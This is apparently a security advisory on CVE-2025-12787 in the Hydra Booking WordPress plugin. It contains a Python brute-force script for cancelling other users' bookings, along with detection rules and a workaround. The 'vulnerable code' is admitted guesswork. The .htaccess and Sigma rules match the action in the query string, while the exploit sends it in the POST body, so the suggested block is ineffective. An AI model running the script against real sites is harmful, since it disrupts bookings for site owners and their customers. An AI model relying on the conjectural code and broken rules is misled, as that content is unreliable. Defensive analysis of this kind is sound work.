CVE-2025-12787

Executive Summary

CVE-2025-12787 is a vulnerability in the Hydra Booking — Appointment Scheduling & Booking Calendar WordPress plugin (versions up to and including 1.1.27). The flaw resides in the tfhb_meeting_form_submit_callback function, which generates booking cancellation tokens using insufficiently random values. Combined with a globally shared nonce, this allows unauthenticated attackers to cancel arbitrary bookings via brute-force attacks against the tfhb_meeting_form_cencel AJAX endpoint. The CVSS score is 5.3 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation at this time. No public exploit code or patch details are available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Hydra Booking) and apply patches immediately when released. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires brute-force guessing of cancellation tokens.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the plugin.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Unauthorized cancellation of bookings.
• Availability (A): Low (L) – Denial of service via booking cancellation.

Threat Level: Medium. The attack requires brute-forcing tokens, but the globally shared nonce and weak randomness reduce the complexity.

Deep Dive & Mechanics

The vulnerability is in the tfhb_meeting_form_submit_callback function, which generates cancellation tokens for bookings. The token generation uses insufficiently random values (e.g., predictable timestamps or weak PRNG), making tokens guessable. Additionally, the plugin uses a globally shared nonce for all cancellation requests, meaning a single nonce can be reused across multiple sessions. The tfhb_meeting_form_cencel AJAX endpoint accepts these tokens without proper validation, allowing an attacker to cancel any booking by brute-forcing the token.

Attack Flow:

1. Attacker identifies a target booking (e.g., via booking ID enumeration).
2. Attacker sends multiple requests to wp-admin/admin-ajax.php with action tfhb_meeting_form_cencel, a valid nonce (obtained from any page), and brute-forced cancellation tokens.
3. If the token matches, the booking is cancelled.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the tfhb_meeting_form_submit_callback function. A patched version would:

• Use cryptographically secure random values (e.g., wp_generate_password(32, false) or random_bytes()).
• Generate unique nonces per booking (e.g., using wp_create_nonce('cancel_booking_' . $booking_id)).
• Validate the nonce against the specific booking.

Vulnerable Code (Conceptual):

function tfhb_meeting_form_submit_callback() {
    $booking_id = $_POST['booking_id'];
    $token = md5(time() . $booking_id); // Weak randomness
    // Store token in DB
}

Patched Code (Conceptual):

function tfhb_meeting_form_submit_callback() {
    $booking_id = $_POST['booking_id'];
    $token = wp_generate_password(32, false); // Strong randomness
    // Store token in DB
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Hydra Booking plugin <= 1.1.27.
• A valid nonce (can be extracted from any page source).
• Target booking ID.

Exploit Script (Python):

import requests
import itertools
import string

target_url = "http://target.com/wp-admin/admin-ajax.php"
nonce = "extracted_nonce"  # From page source
booking_id = 1  # Target booking

# Brute-force tokens (assuming 6-character alphanumeric)
chars = string.ascii_lowercase + string.digits
for length in range(1, 7):
    for token in itertools.product(chars, repeat=length):
        token_str = ''.join(token)
        data = {
            'action': 'tfhb_meeting_form_cencel',
            'nonce': nonce,
            'booking_id': booking_id,
            'token': token_str
        }
        response = requests.post(target_url, data=data)
        if 'success' in response.text:
            print(f"Token found: {token_str}")
            break

Note: This is a brute-force attack; use responsibly.

Blue Team (Defense & Detection)

Mitigation Steps:

1. Disable the AJAX endpoint temporarily via .htaccess or a security plugin.
2. Monitor for excessive requests to admin-ajax.php with action tfhb_meeting_form_cencel.
3. Implement rate limiting on the endpoint.
4. Use a Web Application Firewall (WAF) to block brute-force patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated POST requests to /wp-admin/admin-ajax.php with action=tfhb_meeting_form_cencel.
  • High volume of requests with varying token parameters.
• File IOCs:
  • Log entries in WordPress debug log showing failed cancellation attempts.
• Behavioral IOCs:
  • Unexplained cancellation of multiple bookings in a short time.

Detection Engineering

YARA Rule

rule CVE_2025_12787_Hydra_Booking_Cancel {
    meta:
        description = "Detects exploitation attempts for CVE-2025-12787"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12787"
    strings:
        $ajax_action = "tfhb_meeting_form_cencel"
        $nonce_param = "nonce"
        $token_param = "token"
        $booking_id_param = "booking_id"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12787 Hydra Booking Cancellation Brute-Force
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects brute-force attempts against the tfhb_meeting_form_cencel AJAX endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=tfhb_meeting_form_cencel'
    condition: selection
    timeframe: 5m
    threshold: 100
falsepositives:
    - Legitimate plugin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12787 Hydra Booking Cancellation Brute-Force"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=tfhb_meeting_form_cencel"; fast_pattern; content:"token="; within:100; threshold: type both, track by_src, count 100, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical, or remove the vulnerable AJAX handler via code override.
2. Apply a virtual patch using a WAF to block requests to tfhb_meeting_form_cencel with suspicious token patterns.
3. Monitor logs for brute-force attempts and block offending IPs.

Long-Term Fix:

• Update to a patched version once released by the vendor.
• If no patch is available, consider replacing the plugin with an alternative.

Workaround:

• Add the following to .htaccess to block the endpoint:

<FilesMatch "admin-ajax.php">
    <If "%{QUERY_STRING} =~ /action=tfhb_meeting_form_cencel/">
        Require all denied
    </If>
</FilesMatch>

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert